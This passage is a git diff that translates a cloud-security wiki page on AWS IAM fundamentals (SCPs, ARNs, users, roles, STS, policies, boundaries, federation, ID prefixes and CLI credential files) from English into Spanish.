are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> Ten en cuenta que **las SCP solo restringen a los principales en la cuenta**, por lo que otras cuentas no se ven afectadas. Esto significa que tener una SCP que niegue `s3:GetObject` no detendrá a las personas de **acceder a un bucket S3 público** en tu cuenta. -SCP examples: +Ejemplos de SCP: -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- Negar completamente la cuenta raíz +- Solo permitir regiones específicas +- Solo permitir servicios en la lista blanca +- Negar que GuardDuty, CloudTrail y S3 Public Block Access sean desactivados +- Negar que los roles de seguridad/respuesta a incidentes sean eliminados o modificados. +- Negar que las copias de seguridad sean eliminadas. +- Negar la creación de usuarios IAM y claves de acceso - being disabled - -- Deny security/incident response roles from being deleted or - - modified. - -- Deny backups from being deleted. -- Deny creating IAM users and access keys - -Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +Encuentra **ejemplos de JSON** en [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Amazon Resource Name** es el **nombre único** que tiene cada recurso dentro de AWS, se compone así: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - -Note that there are 4 partitions in AWS but only 3 ways to call them: +Note que hay 4 particiones en AWS pero solo 3 formas de llamarlas: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - Gestión de Identidad y Acceso -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM es el servicio que te permitirá gestionar **Autenticación**, **Autorización** y **Control de Acceso** dentro de tu cuenta de AWS. -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **Autenticación** - Proceso de definir una identidad y la verificación de esa identidad. Este proceso se puede subdividir en: Identificación y verificación. +- **Autorización** - Determina a qué puede acceder una identidad dentro de un sistema una vez que ha sido autenticada. +- **Control de Acceso** - El método y proceso de cómo se concede acceso a un recurso seguro. -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAM se puede definir por su capacidad para gestionar, controlar y gobernar los mecanismos de autenticación, autorización y control de acceso de identidades a tus recursos dentro de tu cuenta de AWS. -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [Usuario raíz de la cuenta de AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +Cuando creas por primera vez una cuenta de Amazon Web Services (AWS), comienzas con una única identidad de inicio de sesión que tiene **acceso completo a todos** los servicios y recursos de AWS en la cuenta. Este es el _**usuario raíz**_ de la cuenta de AWS y se accede iniciando sesión con la **dirección de correo electrónico y la contraseña que usaste para crear la cuenta**. -Note that a new **admin user** will have **less permissions that the root user**. +Ten en cuenta que un nuevo **usuario administrador** tendrá **menos permisos que el usuario raíz**. -From a security point of view, it's recommended to create other users and avoid using this one. +Desde un punto de vista de seguridad, se recomienda crear otros usuarios y evitar usar este. -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [Usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +Un _usuario_ de IAM es una entidad que creas en AWS para **representar a la persona o aplicación** que lo utiliza para **interactuar con AWS**. Un usuario en AWS consiste en un nombre y credenciales (contraseña y hasta dos claves de acceso). -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +Cuando creas un usuario de IAM, le otorgas **permisos** haciéndolo **miembro de un grupo de usuarios** que tiene políticas de permisos apropiadas adjuntas (recomendado), o **adjuntando políticas directamente** al usuario. -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Los usuarios pueden tener **MFA habilitado para iniciar sesión** a través de la consola. Los tokens API de los usuarios con MFA habilitado no están protegidos por MFA. Si deseas **restringir el acceso de las claves API de un usuario usando MFA**, necesitas indicar en la política que para realizar ciertas acciones se necesita que MFA esté presente (ejemplo [**aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **ID de clave de acceso**: 20 caracteres alfanuméricos aleatorios en mayúsculas como AKHDNAPO86BSHKDIRYT +- **ID de clave de acceso secreta**: 40 caracteres aleatorios en mayúsculas y minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (No es posible recuperar IDs de clave de acceso secreta perdidas). -Whenever you need to **change the Access Key** this is the process you should follow:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +Siempre que necesites **cambiar la clave de acceso**, este es el proceso que debes seguir:\ +&#xNAN;_Crear una nueva clave de acceso -> Aplicar la nueva clave al sistema/aplicación -> marcar la original como inactiva -> Probar y verificar que la nueva clave de acceso funciona -> Eliminar la clave de acceso antigua_ -### MFA - Multi Factor Authentication +### MFA - Autenticación de Múltiples Factores -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +Se utiliza para **crear un factor adicional para la autenticación** además de tus métodos existentes, como la contraseña, creando así un nivel de autenticación multifactor.\ +Puedes usar una **aplicación virtual gratuita o un dispositivo físico**. Puedes usar aplicaciones como Google Authenticator de forma gratuita para activar un MFA en AWS. -Policies with MFA conditions can be attached to the following: +Las políticas con condiciones de MFA se pueden adjuntar a lo siguiente: -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- Un usuario o grupo de IAM +- Un recurso como un bucket de Amazon S3, una cola de Amazon SQS o un tema de Amazon SNS +- La política de confianza de un rol de IAM que puede ser asumido por un usuario +Si deseas **acceder a través de CLI** a un recurso que **verifica MFA**, necesitas llamar a **`GetSessionToken`**. Eso te dará un token con información sobre MFA.\ +Ten en cuenta que **las credenciales de `AssumeRole` no contienen esta información**. ```bash aws sts get-session-token --serial-number --token-code ``` +Como [**se indica aquí**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), hay muchos casos diferentes en los que **MFA no se puede usar**. -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [Grupos de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +Un [grupo de usuarios de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) es una forma de **adjuntar políticas a múltiples usuarios** a la vez, lo que puede facilitar la gestión de los permisos para esos usuarios. **Los roles y grupos no pueden ser parte de un grupo**. -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +Puedes adjuntar una **política basada en identidad a un grupo de usuarios** para que todos los **usuarios** en el grupo de usuarios **reciban los permisos de la política**. **No puedes** identificar un **grupo de usuarios** como un **`Principal`** en una **política** (como una política basada en recursos) porque los grupos se relacionan con permisos, no con autenticación, y los principales son entidades IAM autenticadas. -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +Aquí hay algunas características importantes de los grupos de usuarios: -Here are some important characteristics of user groups: +- Un **grupo** de usuarios puede **contener muchos usuarios**, y un **usuario** puede **pertenecer a múltiples grupos**. +- **Los grupos de usuarios no pueden estar anidados**; solo pueden contener usuarios, no otros grupos de usuarios. +- No hay **un grupo de usuarios predeterminado que incluya automáticamente a todos los usuarios en la cuenta de AWS**. Si deseas tener un grupo de usuarios así, debes crearlo y asignar a cada nuevo usuario a él. +- El número y tamaño de los recursos IAM en una cuenta de AWS, como el número de grupos y el número de grupos de los que un usuario puede ser miembro, son limitados. Para más información, consulta [cuotas de IAM y AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [Roles de IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +Un **rol** de IAM es muy **similar** a un **usuario**, en el sentido de que es una **identidad con políticas de permisos que determinan qué** puede y no puede hacer en AWS. Sin embargo, un rol **no tiene ninguna credencial** (contraseña o claves de acceso) asociada. En lugar de estar asociado de manera única a una persona, un rol está destinado a ser **asumido por cualquier persona que lo necesite (y tenga suficientes permisos)**. Un **usuario de IAM puede asumir un rol para temporalmente** adquirir diferentes permisos para una tarea específica. Un rol puede ser **asignado a un** [**usuario federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que inicia sesión utilizando un proveedor de identidad externo en lugar de IAM. -An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. +Un rol de IAM consiste en **dos tipos de políticas**: una **política de confianza**, que no puede estar vacía, definiendo **quién puede asumir** el rol, y una **política de permisos**, que no puede estar vacía, definiendo **a qué puede acceder**. -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +#### Servicio de Token de Seguridad de AWS (STS) -#### AWS Security Token Service (STS) +El Servicio de Token de Seguridad de AWS (STS) es un servicio web que facilita la **emisión de credenciales temporales de privilegios limitados**. Está específicamente diseñado para: -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +### [Credenciales temporales en IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +**Las credenciales temporales se utilizan principalmente con roles de IAM**, pero también hay otros usos. Puedes solicitar credenciales temporales que tengan un conjunto de permisos más restringido que tu usuario IAM estándar. Esto **previene** que **realices accidentalmente tareas que no están permitidas** por las credenciales más restringidas. Un beneficio de las credenciales temporales es que expiran automáticamente después de un período de tiempo establecido. Tienes control sobre la duración durante la cual las credenciales son válidas. -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +### Políticas -### Policies +#### Permisos de Políticas -#### Policy Permissions +Se utilizan para asignar permisos. Hay 2 tipos: -Are used to assign permissions. There are 2 types: - -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- Políticas administradas por AWS (preconfiguradas por AWS) +- Políticas administradas por el cliente: configuradas por ti. Puedes crear políticas basadas en políticas administradas por AWS (modificando una de ellas y creando la tuya propia), utilizando el generador de políticas (una vista GUI que te ayuda a otorgar y denegar permisos) o escribiendo la tuya propia. +Por **defecto, el acceso** es **denegado**, el acceso se otorgará si se ha especificado un rol explícito.\ +Si **existe un único "Deny", anulará el "Allow"**, excepto para las solicitudes que utilizan las credenciales de seguridad raíz de la cuenta de AWS (que están permitidas por defecto). ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` +Los [campos globales que se pueden usar para condiciones en cualquier servicio están documentados aquí](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +Los [campos específicos que se pueden usar para condiciones por servicio están documentados aquí](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +#### Políticas en línea -#### Inline Policies +Este tipo de políticas son **asignadas directamente** a un usuario, grupo o rol. Entonces, no aparecen en la lista de Políticas ya que cualquier otro puede usarlas.\ +Las políticas en línea son útiles si deseas **mantener una relación estricta uno a uno entre una política y la identidad** a la que se aplica. Por ejemplo, quieres asegurarte de que los permisos en una política no se asignen inadvertidamente a una identidad diferente de la que están destinados. Cuando usas una política en línea, los permisos en la política no pueden ser adjuntados inadvertidamente a la identidad incorrecta. Además, cuando usas la Consola de Administración de AWS para eliminar esa identidad, las políticas incrustadas en la identidad también se eliminan. Eso es porque son parte de la entidad principal. -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +#### Políticas de Bucket de Recursos -#### Resource Bucket Policies +Estas son **políticas** que se pueden definir en **recursos**. **No todos los recursos de AWS las soportan**. -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +Si un principal no tiene una denegación explícita sobre ellos, y una política de recurso les otorga acceso, entonces se les permite. -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +### Límites de IAM -### IAM Boundaries +Los límites de IAM se pueden usar para **limitar los permisos a los que un usuario o rol debería tener acceso**. De esta manera, incluso si se otorgan un conjunto diferente de permisos al usuario por una **política diferente**, la operación **fallará** si intenta usarlos. -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +Un límite es solo una política adjunta a un usuario que **indica el nivel máximo de permisos que el usuario o rol puede tener**. Así que, **incluso si el usuario tiene acceso de Administrador**, si el límite indica que solo puede leer buckets S·, ese es el máximo que puede hacer. -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. +**Esto**, **SCPs** y **seguir el principio de menor privilegio** son las formas de controlar que los usuarios no tengan más permisos de los que necesitan. -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +### Políticas de Sesión -### Session Policies - -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +Una política de sesión es una **política establecida cuando se asume un rol** de alguna manera. Esto será como un **límite de IAM para esa sesión**: Esto significa que la política de sesión no otorga permisos, sino que **los restringe a los indicados en la política** (siendo los permisos máximos los que tiene el rol). +Esto es útil para **medidas de seguridad**: Cuando un administrador va a asumir un rol muy privilegiado, podría restringir el permiso solo a los indicados en la política de sesión en caso de que la sesión se vea comprometida. ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` +Note que por defecto **AWS podría agregar políticas de sesión a las sesiones** que se van a generar por razones de terceros. Por ejemplo, en [roles asumidos de cognito no autenticados](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por defecto (usando autenticación mejorada), AWS generará **credenciales de sesión con una política de sesión** que limita los servicios a los que la sesión puede acceder [**a la siguiente lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Por lo tanto, si en algún momento te enfrentas al error "... porque ninguna política de sesión permite el ...", y el rol tiene acceso para realizar la acción, es porque **hay una política de sesión que lo impide**. -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +### Federación de Identidad -### Identity Federation +La federación de identidad **permite a los usuarios de proveedores de identidad que son externos** a AWS acceder a recursos de AWS de manera segura sin tener que proporcionar credenciales de usuario de AWS de una cuenta IAM válida.\ +Un ejemplo de un proveedor de identidad puede ser tu propio **Microsoft Active Directory** corporativo (a través de **SAML**) o servicios de **OpenID** (como **Google**). El acceso federado permitirá a los usuarios dentro de él acceder a AWS. -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +Para configurar esta confianza, se genera un **Proveedor de Identidad IAM (SAML u OAuth)** que **confiará** en la **otra plataforma**. Luego, al menos un **rol IAM es asignado (confiando) al Proveedor de Identidad**. Si un usuario de la plataforma de confianza accede a AWS, lo hará como el rol mencionado. -To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. - -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +Sin embargo, generalmente querrás dar un **rol diferente dependiendo del grupo del usuario** en la plataforma de terceros. Entonces, varios **roles IAM pueden confiar** en el Proveedor de Identidad de terceros y la plataforma de terceros será la que permitirá a los usuarios asumir un rol u otro.
-### IAM Identity Center +### Centro de Identidad IAM -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +AWS IAM Identity Center (sucesor de AWS Single Sign-On) amplía las capacidades de AWS Identity and Access Management (IAM) para proporcionar un **lugar central** que reúne la **administración de usuarios y su acceso a cuentas de AWS** y aplicaciones en la nube. -The login domain is going to be something like `.awsapps.com`. +El dominio de inicio de sesión será algo como `.awsapps.com`. -To login users, there are 3 identity sources that can be used: +Para iniciar sesión a los usuarios, hay 3 fuentes de identidad que se pueden usar: -- Identity Center Directory: Regular AWS users -- Active Directory: Supports different connectors -- External Identity Provider: All users and groups come from an external Identity Provider (IdP) +- Directorio del Centro de Identidad: Usuarios regulares de AWS +- Active Directory: Soporta diferentes conectores +- Proveedor de Identidad Externo: Todos los usuarios y grupos provienen de un Proveedor de Identidad externo (IdP)
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +En el caso más simple del directorio del Centro de Identidad, el **Centro de Identidad tendrá una lista de usuarios y grupos** y podrá **asignar políticas** a ellos para **cualquiera de las cuentas** de la organización. -In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. +Para dar acceso a un usuario/grupo del Centro de Identidad a una cuenta, se **creará un Proveedor de Identidad SAML que confíe en el Centro de Identidad**, y se **creará un rol que confíe en el Proveedor de Identidad con las políticas indicadas** en la cuenta de destino. #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +Es posible **dar permisos a través de políticas en línea a roles creados a través del Centro de Identidad IAM**. Los roles creados en las cuentas que se les dan **políticas en línea en AWS Identity Center** tendrán estos permisos en una política en línea llamada **`AwsSSOInlinePolicy`**. -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +Por lo tanto, incluso si ves 2 roles con una política en línea llamada **`AwsSSOInlinePolicy`**, **no significa que tenga los mismos permisos**. -### Cross Account Trusts and Roles +### Confianza y Roles entre Cuentas -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**Un usuario** (confiando) puede crear un Rol entre Cuentas con algunas políticas y luego, **permitir a otro usuario** (confiado) **acceder a su cuenta** pero solo **teniendo el acceso indicado en las nuevas políticas del rol**. Para crear esto, solo crea un nuevo Rol y selecciona Rol entre Cuentas. Los roles para Acceso entre Cuentas ofrecen dos opciones. Proporcionar acceso entre cuentas de AWS que posees, y proporcionar acceso entre una cuenta que posees y una cuenta de AWS de terceros.\ +Se recomienda **especificar el usuario que es confiado y no poner algo genérico** porque de lo contrario, otros usuarios autenticados como usuarios federados también podrán abusar de esta confianza. ### AWS Simple AD -Not supported: +No soportado: -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions -- No Direct access to OS or Instances +- Relaciones de Confianza +- Centro de Administración de AD +- Soporte completo de PS API +- Papelera de reciclaje de AD +- Cuentas de servicio administradas por grupos +- Extensiones de esquema +- Sin acceso directo a OS o Instancias -#### Web Federation or OpenID Authentication +#### Federación Web o Autenticación OpenID -The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. +La aplicación utiliza AssumeRoleWithWebIdentity para crear credenciales temporales. Sin embargo, esto no otorga acceso a la consola de AWS, solo acceso a recursos dentro de AWS. -### Other IAM options +### Otras opciones de IAM -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- Puedes **establecer una configuración de política de contraseñas** con opciones como longitud mínima y requisitos de contraseña. +- Puedes **descargar "Informe de Credenciales"** con información sobre las credenciales actuales (como tiempo de creación del usuario, si la contraseña está habilitada...). Puedes generar un informe de credenciales tan a menudo como una vez cada **cuatro horas**. -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +AWS Identity and Access Management (IAM) proporciona **control de acceso detallado** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos para tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**. -### IAM ID Prefixes +### Prefijos de ID IAM -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID IAM** de las claves dependiendo de su naturaleza: -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | +| ACCA | Credencial específica del contexto | +| AGPA | Grupo de usuarios | +| AIDA | Usuario IAM | +| AIPA | Perfil de instancia de Amazon EC2 | +| AKIA | Clave de acceso | +| ANPA | Política administrada | +| ANVA | Versión en una política administrada | +| APKA | Clave pública | +| AROA | Rol | +| ASCA | Certificado | +| ASIA | [IDs de claves de acceso temporales (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizan este prefijo, pero son únicos solo en combinación con la clave de acceso secreta y el token de sesión. | -### Recommended permissions to audit accounts +### Permisos recomendados para auditar cuentas -The following privileges grant various read access of metadata: +Los siguientes privilegios otorgan varios accesos de lectura de metadatos: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -336,14 +318,13 @@ The following privileges grant various read access of metadata: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## Varios -### CLI Authentication - -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ -Example of credentials file with more than 1 profile: +### Autenticación CLI +Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\ +En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\ +Ejemplo de archivo de credenciales con más de 1 perfil: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +335,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` +Si necesitas acceder a **diferentes cuentas de AWS** y tu perfil tiene acceso para **asumir un rol dentro de esas cuentas**, no necesitas llamar manualmente a STS cada vez (`aws sts assume-role --role-arn --role-session-name sessname`) y 